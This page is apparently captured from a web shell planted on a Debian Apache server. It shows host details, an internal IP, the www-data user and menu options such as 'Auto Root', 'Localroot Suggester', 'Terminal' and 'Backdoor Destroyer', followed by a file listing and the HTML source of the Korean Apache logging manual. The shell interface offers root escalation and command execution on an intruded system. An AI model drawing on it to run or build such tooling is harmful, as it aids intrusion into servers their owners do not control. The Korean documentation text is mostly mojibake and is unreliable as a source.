Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
apache2-doc /
manual /
ko /
Delete
Unzip
Name
Size
Permission
Date
Action
developer
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
faq
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
howto
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
misc
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
mod
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
platform
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
programs
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
rewrite
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
ssl
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
vhosts
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
bind.html
11.01
KB
-rw-r--r--
2026-06-12 05:08
caching.html
50.33
KB
-rw-r--r--
2026-06-12 05:08
configuring.html
13.61
KB
-rw-r--r--
2026-06-12 05:08
content-negotiation.html
28.23
KB
-rw-r--r--
2026-06-12 05:08
custom-error.html
11.27
KB
-rw-r--r--
2026-06-12 05:08
dns-caveats.html
13.3
KB
-rw-r--r--
2026-06-12 05:08
dso.html
16.42
KB
-rw-r--r--
2026-06-12 05:08
env.html
21.29
KB
-rw-r--r--
2026-06-12 05:08
expr.html
37.21
KB
-rw-r--r--
2026-06-12 05:08
filter.html
8.56
KB
-rw-r--r--
2026-06-12 05:08
getting-started.html
15.2
KB
-rw-r--r--
2026-06-12 05:08
glossary.html
20.94
KB
-rw-r--r--
2026-06-12 05:08
handler.html
11.09
KB
-rw-r--r--
2026-06-12 05:08
index.html
9.82
KB
-rw-r--r--
2026-06-12 05:08
install.html
20.24
KB
-rw-r--r--
2026-06-12 05:08
invoking.html
11.02
KB
-rw-r--r--
2026-06-12 05:08
license.html
15.36
KB
-rw-r--r--
2026-06-12 05:08
logs.html
28.8
KB
-rw-r--r--
2026-06-12 05:08
mpm.html
9.58
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_0.html
14.3
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_2.html
9.24
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_4.html
32.98
KB
-rw-r--r--
2026-06-12 05:08
sections.html
24.81
KB
-rw-r--r--
2026-06-12 05:08
server-wide.html
10.2
KB
-rw-r--r--
2026-06-12 05:08
sitemap.html
23.03
KB
-rw-r--r--
2026-06-12 05:08
socache.html
9.48
KB
-rw-r--r--
2026-06-12 05:08
stopping.html
14.59
KB
-rw-r--r--
2026-06-12 05:08
suexec.html
24.03
KB
-rw-r--r--
2026-06-12 05:08
upgrading.html
35.18
KB
-rw-r--r--
2026-06-12 05:08
urlmapping.html
19.33
KB
-rw-r--r--
2026-06-12 05:08
Save
Rename
<!DOCTYPE html SYSTEM "about:legacy-compat"> <html lang="ko"><head><META http-equiv="Content-Type" content="text/html; charset=EUC-KR"> <meta content="width=device-width, initial-scale=1" name="viewport"> <!-- XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX This file is generated from xml source: DO NOT EDIT XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX --> <title>�α���� - Apache HTTP Server Version 2.4</title> <link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet"> <link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size"> <link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css"><link rel="stylesheet" type="text/css" href="../style/css/prettify.css"> <script src="../style/scripts/prettify.min.js"> </script> <link href="../images/favicon.png" rel="shortcut icon"></head> <body id="manual-page"><div id="page-header"> <p class="menu"><a href="./mod/index.html">���</a> | <a href="./mod/quickreference.html">���þ��</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">FAQ</a> | <a href="./glossary.html">���</a> | <a href="./sitemap.html">���Ʈ��</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Report a bug</a></p> <p class="apache">Apache HTTP Server Version 2.4</p> <img alt="" src="../images/feather.png"></div> <div class="up"><a href="./index.html"><img title="<-" alt="<-" src="../images/left.gif"></a></div> <div id="path"> <a href="https://www.apache.org/">Apache</a> > <a href="https://httpd.apache.org/">HTTP Server</a> > <a href="https://httpd.apache.org/docs/">Documentation</a> > <a href="./index.html">Version 2.4</a></div><div id="page-content"><div id="preamble"><h1>�α����</h1> <button aria-label="Toggle language list" class="lang-toggle"><svg xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke="currentColor" fill="none" viewBox="0 0 24 24" height="16" width="16"><circle r="10" cy="12" cx="12"/><line y2="12" x2="22" y1="12" x1="2"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg></button> <div class="toplang"> <p><span>������ ���: </span><a href="../en/logs.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../fr/logs.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../ja/logs.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/logs.html" title="Korean"> ko </a> | <a href="../tr/logs.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a></p> </div> <div class="outofdate">�� ������ �ֽ��� ������ �ƴմϴ�. �ֱٿ� ����� ���� ���� ������ ����ϼ���.</div> <p>ȿ�������� �������� �����Ϸ��� ���ϴ� ������ �Բ� ������ Ȱ���� ���ɿ� ���� �˾ƾ� �Ѵ�. ����ġ �������� �ſ� ������̰� ������ �α� ���� �����Ѵ�. �� ������ �α� ���� �����ϴ� ���� �α� �� ���� �����Ѵ�.</p> </div> <div id="quickview"><ul id="toc"><li><img alt="" src="../images/down.gif"> <a href="#security">���� ���</a></li> <li><img alt="" src="../images/down.gif"> <a href="#errorlog">���� �α� (Error Log)</a></li> <li><img alt="" src="../images/down.gif"> <a href="#accesslog">���� �α� (Access Log)</a></li> <li><img alt="" src="../images/down.gif"> <a href="#rotation">�α� ��ȯ (Log Rotation)</a></li> <li><img alt="" src="../images/down.gif"> <a href="#piped">�α� ������ ������</a></li> <li><img alt="" src="../images/down.gif"> <a href="#virtualhost">����ȣ��Ʈ</a></li> <li><img alt="" src="../images/down.gif"> <a href="#other">�ٸ� �α����</a></li> </ul></div> <div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="security">���� ��� <a title="Permanent link" href="#security" class="permalink">¶</a></h2> <p>���������� ����ġ�� �α����� �ִ� ���丮�� �������� �ִٸ� (���� root) ������ �����ϴ� uid�� ��� Ȯ��� �� �� �ִ�. �̸� ������ʰ� �αװ� ����� ���丮�� �������� ��� <em>����</em>. �ڼ��� ���� <a href="misc/security_tips.html">���� �</a> ������ ����϶�.</p> <p>��, Ŭ��̾�Ʈ�� ������ ������ �α���Ͽ� ��� �״�� ��ϵȴ�. ���� ��ǰ� �ִ� Ŭ��̾�Ʈ�� �α���Ͽ� ����ڸ� ��� �� ����Ƿ�, �α� �ٷ궧�� ����ؾ� �Ѵ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="errorlog">���� �α� (Error Log) <a title="Permanent link" href="#errorlog" class="permalink">¶</a></h2> <table class="related"><tr><th>���õ� ���</th><th>���õ� ���þ�</th></tr><tr><td></td><td><ul><li><code class="directive"><a href="./mod/core.html#errorlog">ErrorLog</a></code></li><li><code class="directive"><a href="./mod/core.html#loglevel">LogLevel</a></code></li></ul></td></tr></table> <p><code class="directive"><a href="./mod/core.html#errorlog">ErrorLog</a></code> ���þ�� ���� �߿��� �α����� ���� ���� �α�� �̸��� ��ġ�� �����Ѵ�. ����ġ �������� �� ��Ͽ� ��������� ��û�� ó���ϴ� ���� ���� ������ ����Ѵ�. ������ ����ϰų� �����ϴµ� ������ �ִٸ� ������ �߸��Ǿ��� ������ ��� ��ġ����� �˷��ִ� �̰��� ���� ��� ������ �Ѵ�.</p> <p>���� �α״� ���� (��������� ���н� �ý��ۿ����� <code>error_log</code>, �������� OS/2������ <code>error.log</code>) ��Ͽ� ��ϵȴ�. ���н� �ý��ۿ��� ������ ������ <code>syslog</code>�� <a href="#piped">������ ����Ͽ� �ٸ� ��α�</a>���� ���� ���� �ִ�.</p> <p>���� �α�� ���� ������� ����Ӱ� �ڼ��ϴ�. ���� ��κ�� ���� �α� �� �������� ������ ������ �ִ�. ���� ���, �� ���� ����� ����.</p> <div class="example"><p><code> [Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration: /export/home/live/ap/htdocs/test </code></p></div> <p>�α� �� ù��° �� ��¥�� �ð��̴�. �ι�° �� �����ϴ� ������ �ɰ����� ��Ÿ����. <code class="directive"><a href="./mod/core.html#loglevel">LogLevel</a></code> ���þ�� ���� �α� ��ϵǴ� ������ �ɰ����� ������ �� �ִ�. ����° �� ������ ���� Ŭ��̾�Ʈ�� IP �ּ�̴�. �� ������� �������� ������, �� ��� ������ Ŭ��̾�Ʈ�� ����� �ź��ϵ��� �����Ǿ��ٰ� ����ִ�. ��û�� ������ (�� ��ΰ� �ƴ�) ��Ͻý��� ��ε� ���δ�.</p> <p>���� �α��� �ſ� �پ��� ������ ������ ���� �� �ִ�. ��κ�� ���� ���ϴ�. CGI ��ũ��Ʈ�� ��� ��µ� ���� �α� ��ϵȴ�. CGI ��ũ��Ʈ�� <code>stderr</code>�� �� ������ �״�� ���� �α� ����ȴ�.</p> <p>���� �α� ������ �߰��ϰ��� ������ �� ����. ���� ��û�� ���� ���� �α�� ��� <a href="#accesslog">���� �α�</a>���� ���ϴ� ��� �����. ���� ���, ���� ��� �����ڵ尡 403�� ���� �α� ��� �����. ���� �α״� ��������� �� ����Ƿ� �� ���� ����Ͽ� ���� ��Ȳ�� ���� �߰������� �� �� �ִ�.</p> <p>�˻��Ҷ� � ������ ������ ���� �α� ��� ���캸�� ��� ����. ���н� �ý��ۿ��� ����� ���� �Ѵ�:</p> <div class="example"><p><code> tail -f error_log </code></p></div> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="accesslog">���� �α� (Access Log) <a title="Permanent link" href="#accesslog" class="permalink">¶</a></h2> <table class="related"><tr><th>���õ� ���</th><th>���õ� ���þ�</th></tr><tr><td><ul><li><code class="module"><a href="./mod/mod_log_config.html">mod_log_config</a></code></li><li><code class="module"><a href="./mod/mod_setenvif.html">mod_setenvif</a></code></li></ul></td><td><ul><li><code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code></li><li><code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code></li><li><code class="directive"><a href="./mod/mod_setenvif.html#setenvif">SetEnvIf</a></code></li></ul></td></tr></table> <p>���� ���� �α״� ������ ó���ϴ� ��� ��û�� ����Ѵ�. <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ���þ�� ���� �α�� ��ġ�� ���� �����Ѵ�. <code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code> ���þ ����Ͽ� �α� ����� ���� ���� ������ �� �ִ�. �� ���� ������ ���� �α� �� ���� �����ϴ� ���� �����Ѵ�.</p> <p>���� ���� �α� ������ ����ϴ� ��� �α� ������ ���� ��̴�. ��� �ܰ�� �� ������ �м��Ͽ� ������ ��踦 ����� ��̴�. �� ������ �Ϲ���� �α� �м��� ���ؼ� �ٷ� �����, �α� �м��� ��� �������� �� ��� �ƴϴ�. �α� �м��� ���� ������ �α� �м��ϴ� ���Ʈ��� ���ؼ��� <a href="http://dmoz.org/Computers/Software/Internet/Site_Management/Log_Analysis/">Open Directory</a>�� ����϶�.</p> <p>����ġ �������� ������� mod_log_referer, mod_log_agent, <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ���� ��� ���þ ����Ͽ� ���� �α� �ٷ���. ����� <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ���þ ������ ���þ��� ��� ���� �̾�Ҵ�.</p> <p>���� �α�� ���� �ſ� ������� �����ϴ�. ���� C�� printf(1) ��Ĺ��ڿ��� �ſ� ������ ��Ĺ��ڿ��� ����Ͽ� �����Ѵ�. ��� ���� ���� ����. ��Ĺ��ڿ��� ��밡���� ��� ���� �˷��� <code class="module"><a href="./mod/mod_log_config.html">mod_log_config</a></code> <a href="mod/mod_log_config.html#formats">��Ĺ��ڿ�</a>�� ����϶�.</p> <h3 id="common">Common �α� ���</h3> <p>���� �α�� ������� ������ ����� ����.</p> <div class="example"><p><code> LogFormat "%h %l %u %t \"%r\" %>s %b" common<br> CustomLog logs/access_log common </code></p></div> <p>���� ������ �α� ��Ĺ��ڿ��� <em>����</em> <code>common</code>���� �����Ѵ�. ��Ĺ��ڿ��� �ۼ�Ʈ ���þ��� �����Ǹ�, ������ � ������ ������ �˸���. ��Ĺ��ڿ��� �Ϲ� ���ڸ� ������ �״�� �α� ��µȴ�. ����ǥ ����(<code>"</code>)�� ����ϰ� �ʹٸ� �齽������ �տ� �ٿ��� ��Ĺ��ڿ��� ���� �ƴ�� ǥ���Ѵ�. ��Ĺ��ڿ��� �ٹٲ� "<code>\n</code>", �� "<code>\t</code>"�� ���� Ư�� �������ڸ� ����� �� �ִ�.</p> <p><code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ���þ�� ������ <em>����</em>�� ����ϴ� ���ο� �α����� �����. ���� �α�� ��ϸ�� �������� ����������� <code class="directive"><a href="./mod/core.html#serverroot">ServerRoot</a></code>�� �����̴�.</p> <p>��� ������ ����α����(Common Log Format, CLF)�̶�� ������ �α� �� ����Ѵ�. ���� �ٸ� �������鵵 �̷� ǥ�� ������ �α� �����, ���� �α� �м� ��α����� ��� �� �ִ�. CLF�� ���� �α���� �� ����� ����:</p> <div class="example"><p><code> 127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326 </code></p></div> <p>��� �α� ��� �� �κ�� �����Ѵ�.</p> <dl> <dt><code>127.0.0.1</code> (<code>%h</code>)</dt> <dd>������ ��û�� �� Ŭ��̾�Ʈ(���� ȣ��Ʈ)�� IP �ּ�̴�. <code class="directive"><a href="./mod/core.html#hostnamelookups">HostnameLookups</a></code>�� <code>On</code>�̶�� ȣ��Ʈ�� ã�Ƽ� IP �ּ� �ڸ��� ��� ����. ���� �� ������ ������ �ſ� ������ �� �� ����Ƿ� ��õ��� �ʴ´�. ȣ��Ʈ�� �˷��� ��� ���߿� <a href="programs/logresolve.html">logresolve</a>�� ���� �α� ó���ϴ� ��α��� ����ϴ� ��� ����. ��� ���� IP �ּҴ� ���ڰ� ����ϴ� ��ǻ�� �ּҰ� �ƴ� �� �ִ�. ��Ͻ� ������ ���ڿ� ������̿� �����Ѵٸ�, ���� ��ǻ�� �ּҰ� �ƴ϶� ��Ͻ�� �ּҰ� ��ϵ� ��̴�.</dd> <dt><code>-</code> (<code>%l</code>)</dt> <dd>��¿��� "�����ȣ"�� ��û�� ������ ������ ��Ÿ����. �� ��� ��� ���� ������ Ŭ��̾�Ʈ ��ǻ��� <code>identd</code>�� ������ Ŭ��̾�Ʈ�� RFC 1413 �ſ��̴�. �� ������ �ſ� ��� �� �������, ���� �����Ǵ� ���� ��Ʈ���� �ƴ϶�� ����� �� ������ ����ϸ� �ȵȴ�. <code class="directive"><a href="./mod/core.html#identitycheck">IdentityCheck</a></code>�� <code>On</code>�� �ƴ϶�� ����ġ �������� �� ������ �˾ƺ����� �õ������ �ʴ´�.</dd> <dt><code>frank</code> (<code>%u</code>)</dt> <dd>�̴� HTTP ������� �˾Ƴ� ������ ��û�� ����� userid�̴�. ���� �� ���� CGI ��ũ��Ʈ���� <code>REMOTE_USER</code> ȯ�溯���� �Ѱ����. ��û�� �����ڵ尡 401�̶�� (�Ʒ� ���) ���ڰ� ��� ����� ��ġ�� �ʾ���Ƿ� �� ���� ����� �ȵȴ�. ������ ��ȣ�� ��ȣ��� �ʴ´ٸ� �� �� ��� �� ���� "<code>-</code>"�̴�.</dd> <dt><code>[10/Oct/2000:13:55:36 -0700]</code> (<code>%t</code>)</dt> <dd> ������ ��ûó���� ��ģ �ð�. ����: <p class="indent"> <code>[day/month/year:hour:minute:second zone]<br> day = ���� 2��<br> month = ���� 3��<br> year = ���� 4��<br> hour = ���� 2��<br> minute = ���� 2��<br> second = ���� 2��<br> zone = (`+' | `-') ���� 4��</code> </p> �α� ��Ĺ��ڿ��� <code>%{format}t</code>�� ����Ͽ� �ٸ� ������ �ð��� ����� �� �ִ�. <code>format</code>�� C ǥ�� ��̺귯���� <code>strftime(3)</code>�� ����. </dd> <dt><code>"GET /apache_pb.gif HTTP/1.0"</code> (<code>\"%r\"</code>)</dt> <dd>Ŭ��̾�Ʈ�� ��û��� �ֵ���ǥ�� �����ִ�. ��û��� �ſ� ������ ������ ��� �ִ�. ù°, Ŭ��̾�Ʈ�� ����� ���� <code>GET</code>�̴�. ��°, Ŭ��̾�Ʈ�� �ڿ� <code>/apache_pb.gif</code>�� ��û�Ѵ�. ����°, Ŭ��̾�Ʈ�� <code>HTTP/1.0</code> �������� ����Ѵ�. ��û��� ���� �κ�� ���� �α��� ���� �ִ�. ���� ���, ��Ĺ��ڿ� "<code>%m %U%q %H</code>"�� "<code>%r</code>"�� �Ȱ��� ���, ���, ���ǹ��ڿ�, �������� �α��Ѵ�.</dd> <dt><code>200</code> (<code>%>s</code>)</dt> <dd>�̴� ������ Ŭ��̾�Ʈ���� ������ �����ڵ�̴�. �� ������ (2�� ����ϴ� �ڵ�) ��û�� �����Ͽ����, (4�� ����ϴ� �ڵ�) Ŭ��̾�Ʈ�� ������ �ִ��, (5�� ����ϴ� �ڵ�) ������ ������ �ִ�� �˷��ֹǷ� �ſ� �߿��ϴ�. �����ڵ�� ��ü ���� <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.txt">HTTP �Ծ�</a> (RFC2616 section 10)���� ã�� �� �ִ�.</dd> <dt><code>2326</code> (<code>%b</code>)</dt> <dd>������ �� ���� ���� �����ϰ� Ŭ��̾�Ʈ���� ������ ����� ũ�⸦ ��Ÿ����. Ŭ��̾�Ʈ���� ������ ����� ���ٸ� �� ���� "<code>-</code>"�̴�. ����� ���� ��� "<code>0</code>"�� �α��Ϸ��� ��� <code>%B</code>�� ����Ѵ�.</dd> </dl> <h3 id="combined">Combined �α� ���</h3> <p>��� ���Ǵ� �ٸ� ��Ĺ��ڿ��� ���յȷα����(Combined Log Format)�̴�. ����� ���� ����Ѵ�.</p> <div class="example"><p><code> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" combined<br> CustomLog log/access_log combined </code></p></div> <p>�� ���� �� �� �� �߰��� ��� �����ϰ�� Common �α� ��İ� ���� ����. �߰��� ��� �ۼ�Ʈ ���þ� <code>%{<em>header</em>}i</code>�� ����Ѵ�. ���⼭ <em>header</em> �ڸ��� HTTP ��û �� �̸��� ���� �� �ִ�. �� ���� ���� �α״� ����� ����:</p> <div class="example"><p><code> 127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326 "http://www.example.com/start.html" "Mozilla/4.08 [en] (Win98; I ;Nav)" </code></p></div> <p>�߰��� ��:</p> <dl> <dt><code>"http://www.example.com/start.html"</code> (<code>\"%{Referer}i\"</code>)</dt> <dd>"Referer" (���� Ʋ�����ʾ��) HTTP ��û ��. Ŭ��̾�Ʈ�� ����ߴٰ� �������� �˸� ���Ʈ�̴�. (��, <code>/apache_pb.gif</code>�� ��ũ�Ͽ��ų� ����� ���Ʈ�̴�.)</dd> <dt><code>"Mozilla/4.08 [en] (Win98; I ;Nav)"</code> (<code>\"%{User-agent}i\"</code>)</dt> <dd>User-Agent HTTP ��û ��. Ŭ��̾�Ʈ ������ �ڽſ� ���� �˸��� �ĺ������̴�.</dd> </dl> <h3 id="multiple">���� ���� �α�</h3> <p>������Ͽ� ���� <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ���þ ����ϸ� ���� �αװ� ������ �������. ���� ���, ��� ������ ������ ���� �α� �����. ù��°�� �⺻ CLF ������ ����ϰ�, �ι�°�� ����°�� referer�� ���� ������ ����Ѵ�. ������ �� <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ��� ��� ��� <code>ReferLog</code>�� <code>AgentLog</code> ���þ�� ���� �䳻�� �� �ִ�� �����ش�.</p> <div class="example"><p><code> LogFormat "%h %l %u %t \"%r\" %>s %b" common<br> CustomLog logs/access_log common<br> CustomLog logs/referer_log "%{Referer}i -> %U"<br> CustomLog logs/agent_log "%{User-agent}i" </code></p></div> <p>��, �� ���� <code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code>���� �ݵ�� ���� ������ �ʿ�� ������ �����ش�. ��� <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ���þ ���� �α� ���� ������ �� �ִ�.</p> <h3 id="conditional">���Ǻ� �α�</h3> <p>Ŭ��̾�Ʈ ��û�� ���ݿ� ���� �ش� �� ���� �α� �������ʰ� ��� ���� �ִ�. <a href="env.html">ȯ�溯��</a>�� ����ϸ� ���� �ذ�ȴ�. ���, Ŭ��̾�Ʈ�� Ư�� ����� �����ϸ� ȯ�溯���� �����Ѵ�. �� �۾����� ���� <code class="directive"><a href="./mod/mod_setenvif.html#setenvif">SetEnvIf</a></code>�� ����Ѵ�. ���� <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ���þ <code>env=</code>�� ����Ͽ� ȯ�溯�� ������ ���� ��û�� ����ְų� ����. ���� ���:</p> <div class="example"><p><code> # loop-back ������̽����� ��û�� ǥ���Ѵ�<br> SetEnvIf Remote_Addr "127\.0\.0\.1" dontlog<br> # robots.txt ��Ͽ� ���� ��û�� ǥ���Ѵ�<br> SetEnvIf Request_URI "^/robots\.txt$" dontlog<br> # ������� �α� �����<br> CustomLog logs/access_log common env=!dontlog </code></p></div> <p>�ٸ� ���� ����� ����� ��û���� �� �α���Ͽ� ����ϰ�, ��� ����� ��û�� �ٸ� �α���Ͽ� ����ϴ� ��츦 �����غ���.</p> <div class="example"><p><code> SetEnvIf Accept-Language "en" english<br> CustomLog logs/english_log common env=english<br> CustomLog logs/non_english_log common env=!english </code></p></div> <p>���Ǻ� �α״� �ſ� �����ϰ� ���������, �̰�� �α� ���� �����ϴ� ������ ���� �ƴϴ�. �α����� ������ ��� �ൿ�� ����Ҷ� �� �����ϴ�. ���߿� ������ʴ� ��û�� �����ϰ� �α����� �м��ϴ� ��� �� ����.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="rotation">�α� ��ȯ (Log Rotation) <a title="Permanent link" href="#rotation" class="permalink">¶</a></h2> <p>���� �ٻ� ��������� �α���Ͽ� ����Ǵ� �������� �ſ� ����. ���� �α״� ���� ���� ��û�� 1MB �̻� �����Ѵ�. �������� ���� �α� �ű�ų� ����� ������ �α� �ֱ����� ��Ȱ�� �ʿ䰡 �ִ�. ����ġ�� ���� ����ִ� ���ȿ��� ��� ��� �α���Ͽ� ������� ������ �����϶� �α� ��ȯ�� �� ����. ��� �α����� �ű�ų� ������ ������ <a href="stopping.html">����</a>�Ͽ�, �α����� ���� ����� �Ѵ�.</p> <p><em>�����</em> ����� ����ϸ� ������ Ŭ��̾�Ʈ�� ���� Ȥ�� ���� ���� ����ʰ� �� �α����� �� �� �ִ�. ���� �̸� ���� ������ ������ ��û�� ���� ������ ���� ��� �α����� ��� ����ؾ� �Ѵ�. ���Ƿ� �������� �α����� ó���ϱ� ���� �� ��ٸ� �ʿ䰡 �ִ�. �Ϲ������ ����� ���� �α� ��ȯ�ϰ�, ��ũ������ �����ϱ��� ��� �α� �����Ѵ�:</p> <div class="example"><p><code> mv access_log access_log.old<br> mv error_log error_log.old<br> apache2ctl graceful<br> sleep 600<br> gzip access_log.old error_log.old </code></p></div> <p>�α� ��ȯ�ϴ� �ٸ� ���� ��� ������ ������ <a href="#piped">���� �α�</a>�� ����ϴ� ��̴�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="piped">�α� ������ ������ <a title="Permanent link" href="#piped" class="permalink">¶</a></h2> <p>����ġ �������� ���� �α� ���� �α� ��Ͽ� ���� �����ʰ� ������ ���� �ٸ� ��μ����� ���� �� �ִ�. �� ���� ����ϸ� ������ �ڵ带 �߰�����ʰ� �ſ� �����ϰ� �α� ó���� �� �ִ�. �α� ������ ������ ��ϸ� �ڸ��� �������� "<code>|</code>"�� �ڿ� ǥ��Է���� �α� �� ��� ������ϸ� ������ �ȴ�. ����ġ�� ������ ����Ҷ� ������ ������ �α� ��μ����� ����ϰ�, ������ ����Ǵ� ���� ��μ����� ����� �ٽ� ����Ѵ�. (�� ������ ��ɶ����� �츮�� �� ���� "��� �� �ִ� ���� �α�"��� �θ���.)</p> <p>������ ����� �α� ��μ����� �θ� ����ġ httpd ��μ����� ����, ��μ����� userid�� ����. ��, ������ ����� �α� ��α��� ���� root�� ����ȴ�. ���Ƿ� ��α��� �����ϰ� ����ϰ� ����� ��� �ſ� �߿��ϴ�.</p> <p>������ �θ��� ��ü ��ɾ ����ǥ�� ������ ����϶�. �� ���� ���� �α� ���� ������, ���� �α� ���������.</p> <p>������ ��������ʰ� �α� ��ȯ�� �� �ִ� ��� ���� �α� ����ϴ� �߿��� �����. ����ġ �������� �̸� ���� <a href="programs/rotatelogs.html">rotatelogs</a>��� ������ ��α��� ����Ѵ�. ���� ��� 24�ð����� �α� ��ȯ�Ѵٸ�:</p> <div class="example"><p><code> CustomLog "|/usr/local/apache/bin/rotatelogs /var/log/access_log 86400" common </code></p></div> <p>�ٸ� ���Ʈ�� <a href="http://www.cronolog.org/">cronolog</a>��� ������� �ξ� �� ������ �α� ��ȯ ��α��� �ִ�.</p> <p>���Ǻ� �α� ���� ���� �α״� �ſ� ������ ��������, ���߿� ó���ϴ� ��� �� ������ ���� ������ ��� ����ؼ��� �ȵȴ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="virtualhost">����ȣ��Ʈ <a title="Permanent link" href="#virtualhost" class="permalink">¶</a></h2> <p>���� <a href="vhosts/index.html">����ȣ��Ʈ</a>�� �ִ� ������ ��Ҷ� �������� ������ �α����� �ٷ� �� �ִ�. ���, ȣ��Ʈ�� �Ѱ��� ������ ���� �α� ����� �� �ִ�. <code class="directive"><a href="./mod/core.html#virtualhost"><VirtualHost></a></code> ����� �ƴ� �ּ��� ������ �α� ���þ �θ� ��� ��û�� ���� ���� �α� ���� �α� ��ϵȴ�. �� ���� ����ȣ��Ʈ���� ���� ���ó���� �� �� ����.</p> <p><code class="directive"><a href="./mod/core.html#virtualhost"><VirtualHost></a></code> ���� �ȿ� <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code>�� <code class="directive"><a href="./mod/core.html#errorlog">ErrorLog</a></code> ���þ ����ϸ� �ش� ����ȣ��Ʈ�� ���� ��û�� �������� ������ ��Ͽ� ��ϵȴ�. �α� ���þ ���� �ٸ� ����ȣ��Ʈ�� ��� �ּ��� �α� �α� ����Ѵ�. �� ���� ����ȣ��Ʈ ������ ���� ��� �ſ� ���������, ȣ��Ʈ ���� ���ٸ� �����ϱ� ������. ��, <a href="vhosts/fd-limits.html">��ϱ��ڰ� �����</a> ������ ��� ���Ѵ�.</p> <p>���� �α�� ��� �ſ� ���� �ذ�å�� �ִ�. �α� ��Ĺ��ڿ��� ����ȣ��Ʈ�� ���� ������ �߰��ϸ� ��� ȣ��Ʈ�� ���� �α� ����ϰ�, ���߿� �α� ����ȣ��Ʈ���� ���� �� �ִ�. ���� ���, ��� ���þ ����.</p> <div class="example"><p><code> LogFormat "%v %l %u %t \"%r\" %>s %b" comonvhost<br> CustomLog logs/access_log comonvhost </code></p></div> <p><code>%v</code>�� ��û�� �����ϴ� ����ȣ��Ʈ �̸��� ����Ѵ�. ���߿� <a href="programs/other.html">split-logfile</a> ���� ��α����� ���� �α� ����ȣ������ ���� �� �ִ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="other">�ٸ� �α���� <a title="Permanent link" href="#other" class="permalink">¶</a></h2> <table class="related"><tr><th>���õ� ���</th><th>���õ� ���þ�</th></tr><tr><td><ul><li><code class="module"><a href="./mod/mod_cgi.html">mod_cgi</a></code></li><li><code class="module"><a href="./mod/mod_rewrite.html">mod_rewrite</a></code></li></ul></td><td><ul><li><code class="directive"><a href="./mod/mpm_common.html#pidfile">PidFile</a></code></li><li><code class="directive"><a href="./mod/mod_rewrite.html#rewritelog">RewriteLog</a></code></li><li><code class="directive"><a href="./mod/mod_rewrite.html#rewriteloglevel">RewriteLogLevel</a></code></li><li><code class="directive"><a href="./mod/mod_cgi.html#scriptlog">ScriptLog</a></code></li><li><code class="directive"><a href="./mod/mod_cgi.html#scriptlogbuffer">ScriptLogBuffer</a></code></li><li><code class="directive"><a 